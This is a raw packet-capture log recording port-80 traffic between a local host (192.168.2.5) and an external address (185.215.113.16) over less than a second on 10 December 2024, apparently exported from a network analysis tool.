Dec 10, 2024 02:50:47.809206963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.809272051 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.810200930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.810262918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.810306072 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.810364008 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.811317921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.811362982 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.811397076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.811456919 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.812438011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.812482119 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.812510014 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.812577009 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.813502073 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.813553095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.813637972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.813682079 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.814605951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.814654112 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.814686060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.814768076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.950400114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.950464964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.950674057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.950733900 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.950850010 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.951236963 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.951770067 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.951817989 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.951884985 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.951936960 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.952851057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.952898026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.952969074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.953013897 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.953963995 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.954009056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.954072952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.954119921 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.955045938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.955091953 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.955168009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.955213070 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.956182003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.956222057 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.956263065 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.956341028 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.957235098 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.957278967 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.957341909 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.957386017 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.958350897 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.958400011 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.958462000 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.958515882 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.959434986 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.959481001 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.959547997 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.959592104 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.960577011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.960623026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.960654974 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.960779905 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.961616993 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.961661100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.961720943 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.961766958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.962717056 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.962760925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.962841034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.962886095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.963800907 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.963850021 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.963921070 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.964920998 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.964977980 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.964999914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.965993881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.966042042 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.966099977 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.966206074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.967088938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.967211008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.967259884 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.968199968 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.968308926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.968354940 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.969284058 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.969407082 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.969449043 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.970392942 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.970499039 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.971481085 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.971524954 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.971560955 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.972593069 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.972635984 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.972672939 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.973680973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.973736048 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.973762989 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.974396944 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.974796057 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.974920988 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.974976063 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.975883961 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.975981951 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.976027966 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.976960897 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.977070093 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.977118969 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.978068113 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.978173971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.978228092 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.979140043 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.979243040 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.980376005 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.980432034 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.980462074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.981363058 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.981420040 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.981456041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.982268095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.982434988 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.982542992 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.982585907 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.983546972 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.983639002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.983686924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.984632015 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.984736919 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.984781027 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.985726118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.985836029 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.985882998 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.986835003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.986920118 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.987912893 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.987967014 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.988003969 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.989012003 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.989059925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.989125013 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.990115881 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.990163088 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.990217924 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.990289927 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.991242886 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.991332054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.991383076 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.992294073 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.992348909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.992412090 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.993410110 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.993467093 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.993490934 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.994288921 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.994493008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.994611979 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.994659901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.995594978 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.995712996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.995764017 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.996680021 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.996818066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.996864080 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.997800112 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.997904062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.997947931 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:47.998883009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.998982906 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:47.999991894 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.000046015 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.000077009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.001050949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.001102924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.001152039 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.002183914 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.002235889 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.002269983 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.003268957 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.003374100 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.003421068 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.004359007 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.004472971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.004514933 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.005467892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.005563021 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.005613089 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.006567001 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.006654024 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.007589102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.007637978 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.142486095 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.142544985 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.142642975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.142720938 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.143079996 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.143122911 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.143234968 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.143281937 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.143978119 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.144021988 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.144089937 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.144138098 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.145060062 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.145106077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.145277023 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.145323992 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.146275043 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.146323919 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.146398067 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.146445036 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.147269964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.147322893 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.147375107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.147416115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.148374081 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.148420095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.148503065 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.148555040 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.149480104 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.149521112 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.149586916 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.149635077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.150582075 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.150629997 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.150736094 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.150787115 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.151654959 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.151701927 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.151760101 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.151798964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.152765036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.152827978 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.152863026 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.152905941 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.153865099 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.153912067 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.153949022 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.153989077 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.154948950 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.154994965 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.155045033 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.155090094 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.156049013 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.156094074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.156150103 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.156191111 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.157135963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.157181025 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.157218933 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.157262087 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.158229113 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.158271074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.158360958 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.158406973 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.159337044 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.159389019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.159483910 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.159527063 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.160428047 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.160474062 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.160550117 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.160597086 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.161509037 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.161556005 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.161623955 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.161669970 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.162607908 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.162668943 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.162722111 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.162770033 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.163722038 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.163769007 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.163834095 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.163886070 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.164788008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.164833069 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.164896011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.164942026 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.165905952 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.165947914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.166016102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.166059971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.166991949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.167049885 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.167104006 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.167144060 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.168078899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.168127060 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.168193102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.168227911 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.169178963 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.169220924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.169289112 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.169329882 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.170285940 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.170332909 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.170438051 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.170485973 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.171367884 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.171422958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.171473980 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.171519041 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.172455072 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.172502995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.172560930 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.172609091 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.173582077 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.173626900 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.173711061 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.173755884 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.174662113 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.174707890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.174772024 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.174817085 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.175745964 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.175791979 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.175878048 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.175919056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.176851034 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.176896095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.176955938 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.177004099 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.177939892 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.177983999 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.178044081 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.178086042 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.179121971 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.179164886 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.179246902 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.179291964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.180139065 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.180180073 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.180253029 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.180296898 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:48.181294918 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:48.181343079 CET	49798	80	192.168.2.5	185.215.113.16
